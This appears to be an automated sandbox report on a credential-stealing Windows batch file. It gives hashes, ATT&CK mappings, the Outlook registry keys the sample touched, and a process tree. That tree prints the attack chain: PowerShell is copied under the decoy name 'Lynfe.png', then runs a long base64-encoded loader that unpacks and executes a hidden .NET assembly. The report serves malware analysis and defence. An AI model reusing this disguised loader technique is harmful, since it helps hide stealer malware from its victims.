e84683ad3b1f9f2bf5fce7d0da4ea6e203da12420d2e1f9db5a8d888e9878ec3

Analysis

max time kernel
143s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
11/09/2023, 13:11

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General

Target
Documents and Details.bat
Size 1016KB
Sample230911-qext5sgd29
SHA256 e84683ad3b1f9f2bf5fce7d0da4ea6e203da12420d2e1f9db5a8d888e9878ec3
MD5 6d9821bc1ca643a6f75057a97975db0e
SHA1 4eb387439fb611b0eebb86f27e346c9138dababb
SHA512 8969f9596552af2e7926e9bc9910479a86144ff62fb321319434f70df2677c0a56beb52eb5328c9bc31deaab121a1a17c37b54519559dbe199fdadd2dd7b4cc8
SSDEEP 24576:SvrhwboCGbrIR0DCX3MNinTqkLd0gyen99lShK:SyknrIReCVTfzR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

collection spyware stealer

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4444	Lynfe.png

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lynfe.png
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lynfe.png
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lynfe.png

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4444	Lynfe.png
4444	Lynfe.png
4444	Lynfe.png
4444	Lynfe.png

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4444	Lynfe.png
Token: SeDebugPrivilege	4444	Lynfe.png

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 1268	2744	cmd.exe	87
PID 2744 wrote to memory of 1268	2744	cmd.exe	87
PID 1268 wrote to memory of 4400	1268	cmd.exe	89
PID 1268 wrote to memory of 4400	1268	cmd.exe	89
PID 1268 wrote to memory of 1860	1268	cmd.exe	90
PID 1268 wrote to memory of 1860	1268	cmd.exe	90
PID 1268 wrote to memory of 116	1268	cmd.exe	91
PID 1268 wrote to memory of 116	1268	cmd.exe	91
PID 1268 wrote to memory of 4408	1268	cmd.exe	92
PID 1268 wrote to memory of 4408	1268	cmd.exe	92
PID 1268 wrote to memory of 4444	1268	cmd.exe	93
PID 1268 wrote to memory of 4444	1268	cmd.exe	93
PID 1268 wrote to memory of 4444	1268	cmd.exe	93

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lynfe.png

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Lynfe.png

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Documents and Details.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Documents and Details.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:4400
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lynfe.png
    3⤵
    PID:1860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:116
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Documents and Details.bat" C:\Users\Admin\AppData\Local\Temp\Lynfe.png.bat
    3⤵
    PID:4408
- - C:\Users\Admin\AppData\Local\Temp\Lynfe.png
    C:\Users\Admin\AppData\Local\Temp\Lynfe.png -win 1 -enc JABOAGgAZABvAHMAaQB3AHoAagB3ACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAFgAdAB3AGwAdwBiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE4AaABkAG8AcwBpAHcAegBqAHcAKQA7ACQAUgBvAHIAcQBoAHEAbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAWAB0AHcAbAB3AGIAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWgB0AHoAYgB6ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAbwByAHEAaABxAG8ALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFoAdAB6AGIAegAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAWgB0AHoAYgB6AC4AQwBsAG8AcwBlACgAKQA7ACQAUgBvAHIAcQBoAHEAbwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAFgAdAB3AGwAdwBiACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFgAdAB3AGwAdwBiACkAOwAgACQAVQB6AGwAcgB1AHUAcwB6AGUAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABYAHQAdwBsAHcAYgApADsAIAAkAEkAaQByAGcAdAB3ACAAPQAgACQAVQB6AGwAcgB1AHUAcwB6AGUAdAAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAEQAYgBvAGwAZwBoAGkAdwB6ACAAPQAgACQASQBpAHIAZwB0AHcALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

Lynfe.png

Path C:\Users\Admin\AppData\Local\Temp\Lynfe.png
Size 423KB
SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Lynfe.png.bat

Path C:\Users\Admin\AppData\Local\Temp\Lynfe.png.bat
Size 1016KB
SHA256 e84683ad3b1f9f2bf5fce7d0da4ea6e203da12420d2e1f9db5a8d888e9878ec3
MD5 6d9821bc1ca643a6f75057a97975db0e
SHA1 4eb387439fb611b0eebb86f27e346c9138dababb
SHA512 8969f9596552af2e7926e9bc9910479a86144ff62fb321319434f70df2677c0a56beb52eb5328c9bc31deaab121a1a17c37b54519559dbe199fdadd2dd7b4cc8
SSDEEP 24576:SvrhwboCGbrIR0DCX3MNinTqkLd0gyen99lShK:SyknrIReCVTfzR
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_uwsvqznu.rwo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uwsvqznu.rwo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4444-27-0x0000000004A00000-0x0000000004A10000-memory.dmp

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memory/4444-29-0x0000000004CA0000-0x0000000004CBA000-memory.dmp

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memory/4444-12-0x0000000005040000-0x0000000005668000-memory.dmp

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memory/4444-13-0x0000000004F90000-0x0000000004FB2000-memory.dmp

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memory/4444-14-0x0000000005760000-0x00000000057C6000-memory.dmp

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memory/4444-15-0x00000000057D0000-0x0000000005836000-memory.dmp

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memory/4444-10-0x0000000004A00000-0x0000000004A10000-memory.dmp

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memory/4444-25-0x0000000005FB0000-0x0000000005FCE000-memory.dmp

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memory/4444-8-0x00000000049B0000-0x00000000049E6000-memory.dmp

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memory/4444-9-0x0000000074D90000-0x0000000075540000-memory.dmp

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memory/4444-28-0x0000000007610000-0x0000000007C8A000-memory.dmp

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memory/4444-11-0x0000000004A00000-0x0000000004A10000-memory.dmp

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memory/4444-31-0x00000000074A0000-0x00000000074E5000-memory.dmp

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memory/4444-33-0x00000000082A0000-0x0000000008844000-memory.dmp

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memory/4444-34-0x0000000004A00000-0x0000000004A10000-memory.dmp

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memory/4444-32-0x0000000074D90000-0x0000000075540000-memory.dmp

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memory/4444-35-0x0000000004A00000-0x0000000004A10000-memory.dmp

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memory/4444-36-0x0000000004A00000-0x0000000004A10000-memory.dmp

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memory/4444-37-0x0000000007F50000-0x0000000007FA0000-memory.dmp

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memory/4444-38-0x0000000008040000-0x00000000080D2000-memory.dmp

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memory/4444-39-0x0000000007FC0000-0x0000000007FCA000-memory.dmp

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memory/4444-40-0x0000000004A00000-0x0000000004A10000-memory.dmp

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memory/4444-41-0x0000000004A00000-0x0000000004A10000-memory.dmp

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memory/4444-43-0x0000000004A00000-0x0000000004A10000-memory.dmp

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